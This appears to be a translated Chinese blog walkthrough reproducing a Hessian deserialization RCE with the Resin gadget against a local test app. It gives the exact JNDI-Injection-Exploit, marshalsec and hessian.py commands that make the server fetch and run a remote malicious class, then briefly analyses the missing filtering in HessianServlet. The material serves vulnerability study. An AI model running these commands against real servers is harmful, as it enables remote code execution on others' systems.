rmi反序列化导致rce漏洞修复_Resin payload复现Hessian反序列化RCE漏洞

一，搭建测试环境

测试环境使用最新的jar包

将HessianTest.war放在tomcat / webapp /下，然后启动tomcat

访问服务器并返回到以下页面以指示环境正常

二，启动JNDI利用工具

编译后，JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令：java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C是要执行的命令-A是侦听地址

三,生成payload

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession

将在当前目录生成hession的payload

四，将有效载荷发送到粗麻布服务器

使用hessian.py将序列化的有效负载发送到服务器

执行订单：

python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian

您可以看到服务器已转到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar以下载恶意类并执行弹出计算器

五，分析

使用hession的Web项目需要配置web.xml并映射com.caucho.hessian.server.HessianServlet的对应路径

Java客户端可以轻松地调用服务器上的方法，如下所示

查看com.caucho.hessian.server.HessianServlet的代码

服务方法处理来自客户端的http请求并调用

调用HessianSkeleton的invoke方法从客户端发送的数据流中读取对象

看到代码中没有黑白名单过滤机制

通过抓取请求数据包，分析和构建请求数据包，将由marshalsec工具生成的Resion有效负载发送到服务器

这是构造请求数据包的hessian.py代码

请求包